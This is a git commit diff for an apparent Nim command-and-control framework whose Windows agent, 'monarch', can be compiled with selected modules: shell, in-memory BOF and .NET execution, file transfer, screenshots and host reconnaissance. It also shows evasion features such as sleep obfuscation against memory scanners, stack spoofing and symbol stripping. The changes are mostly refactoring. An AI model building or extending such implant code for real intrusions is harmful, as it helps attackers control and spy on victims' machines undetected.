Reworked module system. Modules can now be individually set to be included in the agent. For example, it is possible to compile an agent only capable of executing BOFs and nothing else.
This commit is contained in:
@@ -1,8 +1,7 @@
|
||||
import strformat, os, times, system, base64
|
||||
|
||||
import core/[http, context, sleepmask, coff]
|
||||
import core/[http, context, sleepmask]
|
||||
import protocol/[task, result, heartbeat, registration]
|
||||
import ../modules/manager
|
||||
import ../common/[types, utils, crypto]
|
||||
|
||||
proc main() =
|
||||
@@ -12,9 +11,6 @@ proc main() =
|
||||
if ctx == nil:
|
||||
quit(0)
|
||||
|
||||
# Load agent commands
|
||||
loadModules()
|
||||
|
||||
# Create registration payload
|
||||
var registration: AgentRegistrationData = ctx.collectAgentMetadata()
|
||||
let registrationBytes = ctx.serializeRegistrationData(registration)
|
||||
@@ -32,7 +28,6 @@ proc main() =
|
||||
4. If additional tasks have been fetched, go to 2.
|
||||
5. If no more tasks need to be executed, go to 1.
|
||||
]#
|
||||
|
||||
while true:
|
||||
# Sleep obfuscation to evade memory scanners
|
||||
sleepObfuscate(ctx.sleep * 1000, ctx.sleepTechnique, ctx.spoofStack)
|
||||
|
||||
@@ -4,4 +4,5 @@
|
||||
--opt:size
|
||||
--passL:"-s" # Strip symbols, such as sensitive function names
|
||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||
-d:MODULES=1
|
||||
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
||||
@@ -50,6 +50,17 @@ type
|
||||
CMD_SCREENSHOT = 15'u16
|
||||
CMD_DOTNET = 16'u16
|
||||
|
||||
ModuleType* = enum
|
||||
MODULE_ALL = 1'u32
|
||||
MODULE_SLEEP = 2'u32
|
||||
MODULE_SHELL = 4'u32
|
||||
MODULE_BOF = 8'u32
|
||||
MODULE_DOTNET = 16'u32
|
||||
MODULE_FILESYSTEM = 32'u32
|
||||
MODULE_FILETRANSFER = 64'u32
|
||||
MODULE_SCREENSHOT = 128'u32
|
||||
MODULE_SITUATIONAL_AWARENESS = 256'u32
|
||||
|
||||
StatusType* = enum
|
||||
STATUS_COMPLETED = 0'u8
|
||||
STATUS_FAILED = 1'u8
|
||||
@@ -143,7 +154,6 @@ type
|
||||
|
||||
# Registration binary structure
|
||||
type
|
||||
|
||||
# All variable length fields are stored as seq[byte], prefixed with 4 bytes indicating the length of the following data
|
||||
AgentMetadata* = object
|
||||
listenerId*: Uuid
|
||||
@@ -238,6 +248,11 @@ type
|
||||
dispatchMessage*: string
|
||||
execute*: proc(config: AgentCtx, task: Task): TaskResult {.nimcall.}
|
||||
|
||||
Module* = object
|
||||
name*: string
|
||||
description*: string
|
||||
commands*: seq[Command]
|
||||
|
||||
# Definitions for ImGui User interface
|
||||
type
|
||||
ConsoleItem* = ref object
|
||||
|
||||
@@ -3,8 +3,11 @@ import ../common/[types, utils]
|
||||
# Define function prototype
|
||||
proc executeBof(ctx: AgentCtx, task: Task): TaskResult
|
||||
|
||||
# Command definition (as seq[Command])
|
||||
let commands*: seq[Command] = @[
|
||||
# Module definition
|
||||
let module* = Module(
|
||||
name: protect("bof"),
|
||||
description: protect("Load and execute BOF/COFF files in memory."),
|
||||
commands: @[
|
||||
Command(
|
||||
name: protect("bof"),
|
||||
commandType: CMD_BOF,
|
||||
@@ -17,6 +20,7 @@ let commands*: seq[Command] = @[
|
||||
execute: executeBof
|
||||
)
|
||||
]
|
||||
)
|
||||
|
||||
# Implement execution functions
|
||||
when defined(server):
|
||||
|
||||
@@ -3,8 +3,11 @@ import ../common/[types, utils]
|
||||
# Define function prototype
|
||||
proc executeAssembly(ctx: AgentCtx, task: Task): TaskResult
|
||||
|
||||
# Command definition (as seq[Command])
|
||||
let commands*: seq[Command] = @[
|
||||
# Module definition
|
||||
let module* = Module(
|
||||
name: protect("dotnet"),
|
||||
description: protect("Load and execute .NET assemblies in memory."),
|
||||
commands: @[
|
||||
Command(
|
||||
name: protect("dotnet"),
|
||||
commandType: CMD_DOTNET,
|
||||
@@ -17,6 +20,7 @@ let commands*: seq[Command] = @[
|
||||
execute: executeAssembly
|
||||
)
|
||||
]
|
||||
)
|
||||
|
||||
# Implement execution functions
|
||||
when defined(server):
|
||||
|
||||
@@ -9,8 +9,11 @@ proc executeRmdir(ctx: AgentCtx, task: Task): TaskResult
|
||||
proc executeMove(ctx: AgentCtx, task: Task): TaskResult
|
||||
proc executeCopy(ctx: AgentCtx, task: Task): TaskResult
|
||||
|
||||
# Command definitions
|
||||
let commands* = @[
|
||||
# Module definition
|
||||
let module* = Module(
|
||||
name: protect("filesystem"),
|
||||
description: protect("Conduct simple filesystem operations via Windows API."),
|
||||
commands: @[
|
||||
Command(
|
||||
name: protect("pwd"),
|
||||
commandType: CMD_PWD,
|
||||
@@ -82,6 +85,7 @@ let commands* = @[
|
||||
execute: executeCopy
|
||||
)
|
||||
]
|
||||
)
|
||||
|
||||
# Implementation of the execution functions
|
||||
when defined(server):
|
||||
|
||||
@@ -4,9 +4,11 @@ import ../common/[types, utils]
|
||||
proc executeDownload(ctx: AgentCtx, task: Task): TaskResult
|
||||
proc executeUpload(ctx: AgentCtx, task: Task): TaskResult
|
||||
|
||||
|
||||
# Command definition (as seq[Command])
|
||||
let commands*: seq[Command] = @[
|
||||
# Module definition
|
||||
let module* = Module(
|
||||
name: protect("filetransfer"),
|
||||
description: protect("Upload/download files to/from the target system."),
|
||||
commands: @[
|
||||
Command(
|
||||
name: protect("download"),
|
||||
commandType: CMD_DOWNLOAD,
|
||||
@@ -28,6 +30,7 @@ let commands*: seq[Command] = @[
|
||||
execute: executeUpload
|
||||
)
|
||||
]
|
||||
)
|
||||
|
||||
# Implement execution functions
|
||||
when defined(server):
|
||||
|
||||
@@ -1,16 +1,7 @@
|
||||
import tables, strformat
|
||||
import ../common/types
|
||||
|
||||
# Import modules
|
||||
import
|
||||
shell,
|
||||
sleep,
|
||||
filesystem,
|
||||
filetransfer,
|
||||
environment,
|
||||
bof,
|
||||
dotnet,
|
||||
screenshot
|
||||
const MODULES {.intdefine.} = 1
|
||||
|
||||
type
|
||||
ModuleManager* = object
|
||||
@@ -19,21 +10,56 @@ type
|
||||
|
||||
var manager: ModuleManager
|
||||
|
||||
proc registerCommands(commands: seq[Command]) {.discardable.} =
|
||||
for cmd in commands:
|
||||
proc registerModule(module: Module) {.discardable.} =
|
||||
for cmd in module.commands:
|
||||
manager.commandsByType[cmd.commandType] = cmd
|
||||
manager.commandsByName[cmd.name] = cmd
|
||||
|
||||
proc loadModules*() =
|
||||
# Register all imported commands
|
||||
registerCommands(shell.commands)
|
||||
registerCommands(sleep.commands)
|
||||
registerCommands(filesystem.commands)
|
||||
registerCommands(filetransfer.commands)
|
||||
registerCommands(environment.commands)
|
||||
registerCommands(bof.commands)
|
||||
registerCommands(dotnet.commands)
|
||||
registerCommands(screenshot.commands)
|
||||
# Import all modules
|
||||
when ((MODULES and cast[uint32](MODULE_ALL)) == cast[uint32](MODULE_ALL)):
|
||||
import
|
||||
sleep,
|
||||
shell,
|
||||
filesystem,
|
||||
filetransfer,
|
||||
bof,
|
||||
dotnet,
|
||||
screenshot,
|
||||
situationalAwareness
|
||||
registerModule(sleep.module)
|
||||
registerModule(shell.module)
|
||||
registerModule(bof.module)
|
||||
registerModule(dotnet.module)
|
||||
registerModule(filesystem.module)
|
||||
registerModule(filetransfer.module)
|
||||
registerModule(screenshot.module)
|
||||
registerModule(situationalAwareness.module)
|
||||
|
||||
# Import modules individually
|
||||
when ((MODULES and cast[uint32](MODULE_SLEEP)) == cast[uint32](MODULE_SLEEP)):
|
||||
import sleep
|
||||
registerModule(sleep.module)
|
||||
when ((MODULES and cast[uint32](MODULE_SHELL)) == cast[uint32](MODULE_SHELL)):
|
||||
import shell
|
||||
registerModule(shell.module)
|
||||
when ((MODULES and cast[uint32](MODULE_BOF)) == cast[uint32](MODULE_BOF)):
|
||||
import bof
|
||||
registerModule(bof.module)
|
||||
when ((MODULES and cast[uint32](MODULE_DOTNET)) == cast[uint32](MODULE_DOTNET)):
|
||||
import dotnet
|
||||
registerModule(dotnet.module)
|
||||
when ((MODULES and cast[uint32](MODULE_FILESYSTEM)) == cast[uint32](MODULE_FILESYSTEM)):
|
||||
import filesystem
|
||||
registerModule(filesystem.module)
|
||||
when ((MODULES and cast[uint32](MODULE_FILETRANSFER)) == cast[uint32](MODULE_FILETRANSFER)):
|
||||
import filetransfer
|
||||
registerModule(filetransfer.module)
|
||||
when ((MODULES and cast[uint32](MODULE_SCREENSHOT)) == cast[uint32](MODULE_SCREENSHOT)):
|
||||
import screenshot
|
||||
registerModule(screenshot.module)
|
||||
when ((MODULES and cast[uint32](MODULE_SITUATIONAL_AWARENESS)) == cast[uint32](MODULE_SITUATIONAL_AWARENESS)):
|
||||
import situationalAwareness
|
||||
registerModule(situationalAwareness.module)
|
||||
|
||||
proc getCommandByType*(cmdType: CommandType): Command =
|
||||
return manager.commandsByType[cmdType]
|
||||
|
||||
@@ -3,8 +3,11 @@ import ../common/[types, utils]
|
||||
# Define function prototype
|
||||
proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult
|
||||
|
||||
# Command definition (as seq[Command])
|
||||
let commands*: seq[Command] = @[
|
||||
# Module definition
|
||||
let module* = Module(
|
||||
name: protect("screenshot"),
|
||||
description: protect("Take and retrieve a screenshot of the target desktop."),
|
||||
commands: @[
|
||||
Command(
|
||||
name: protect("screenshot"),
|
||||
commandType: CMD_SCREENSHOT,
|
||||
@@ -14,6 +17,7 @@ let commands*: seq[Command] = @[
|
||||
execute: executeScreenshot
|
||||
)
|
||||
]
|
||||
)
|
||||
|
||||
# Implement execution functions
|
||||
when defined(server):
|
||||
|
||||
@@ -3,8 +3,11 @@ import ../common/[types, utils]
|
||||
# Define function prototype
|
||||
proc executeShell(ctx: AgentCtx, task: Task): TaskResult
|
||||
|
||||
# Command definition (as seq[Command])
|
||||
let commands*: seq[Command] = @[
|
||||
# Module definition
|
||||
let module* = Module(
|
||||
name: protect("shell"),
|
||||
description: protect("Execute shell commands or programs."),
|
||||
commands: @[
|
||||
Command(
|
||||
name: protect("shell"),
|
||||
commandType: CMD_SHELL,
|
||||
@@ -17,6 +20,7 @@ let commands*: seq[Command] = @[
|
||||
execute: executeShell
|
||||
)
|
||||
]
|
||||
)
|
||||
|
||||
# Implement execution functions
|
||||
when defined(server):
|
||||
|
||||
@@ -5,8 +5,11 @@ proc executePs(ctx: AgentCtx, task: Task): TaskResult
|
||||
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult
|
||||
proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult
|
||||
|
||||
# Command definitions
|
||||
let commands*: seq[Command] = @[
|
||||
# Module definition
|
||||
let module* = Module(
|
||||
name: protect("situational-awareness"),
|
||||
description: protect("Retrieve information about the target system and environment."),
|
||||
commands: @[
|
||||
Command(
|
||||
name: protect("ps"),
|
||||
commandType: CMD_PS,
|
||||
@@ -32,6 +35,7 @@ let commands*: seq[Command] = @[
|
||||
execute: executeWhoami
|
||||
)
|
||||
]
|
||||
)
|
||||
|
||||
# Implement execution functions
|
||||
when defined(server):
|
||||
@@ -3,8 +3,11 @@ import ../common/[types, utils]
|
||||
# Define function prototype
|
||||
proc executeSleep(ctx: AgentCtx, task: Task): TaskResult
|
||||
|
||||
# Command definition (as seq[Command])
|
||||
let commands* = @[
|
||||
# Module definition
|
||||
let module* = Module(
|
||||
name: protect("sleep"),
|
||||
description: protect("Change sleep settings."),
|
||||
commands: @[
|
||||
Command(
|
||||
name: protect("sleep"),
|
||||
commandType: CMD_SLEEP,
|
||||
@@ -16,6 +19,7 @@ let commands* = @[
|
||||
execute: executeSleep
|
||||
)
|
||||
]
|
||||
)
|
||||
|
||||
# Implement execution functions
|
||||
when defined(server):
|
||||
|
||||
@@ -75,6 +75,7 @@ proc compile(cq: Conquest, placeholderLength: int): string =
|
||||
var config = readFile(configFile)
|
||||
.replaceAfterPrefix("-d:CONFIGURATION=", placeholder)
|
||||
.replaceAfterPrefix("-o:", exeFile)
|
||||
# .replaceAfterPrefix("-d:MODULES=", modules)
|
||||
writeFile(configFile, config)
|
||||
|
||||
cq.info(fmt"Placeholder created ({placeholder.len()} bytes).")
|
||||
|
||||
@@ -19,14 +19,12 @@ var parser = newParser:
|
||||
|
||||
command("list"):
|
||||
help("List all active listeners.")
|
||||
|
||||
command("start"):
|
||||
help("Starts a new HTTP listener.")
|
||||
option("-i", "--ip", default=some("127.0.0.1"), help="IPv4 address to listen on.", required=false)
|
||||
option("-p", "--port", help="Port to listen on.", required=true)
|
||||
|
||||
# TODO: Future features:
|
||||
# flag("--dns", help="Use the DNS protocol for C2 communication.")
|
||||
# flag("--doh", help="Use DNS over HTTPS for C2 communication.)
|
||||
command("stop"):
|
||||
help("Stop an active listener.")
|
||||
option("-n", "--name", help="Name of the listener.", required=true)
|
||||
@@ -57,7 +55,7 @@ var parser = newParser:
|
||||
option("-s", "--sleep", help="Sleep delay in seconds.")
|
||||
option("--sleepmask", help="Sleep obfuscation technique.", default=some("none"), choices = @["ekko", "zilean", "foliage", "none"])
|
||||
flag("--spoof-stack", help="Use stack duplication to spoof the call stack. Supported by EKKO and ZILEAN techniques.")
|
||||
# option("-p", "--payload", help="Agent type.\n\t\t\t ", default=some("monarch"), choices = @["monarch"],)
|
||||
|
||||
command("help"):
|
||||
nohelpflag()
|
||||
|
||||
|
||||
@@ -1,7 +1,5 @@
|
||||
import core/server
|
||||
import ../modules/manager
|
||||
|
||||
# Conquest framework entry point
|
||||
when isMainModule:
|
||||
loadModules()
|
||||
import cligen; dispatch startServer
|
||||
Reference in New Issue
Block a user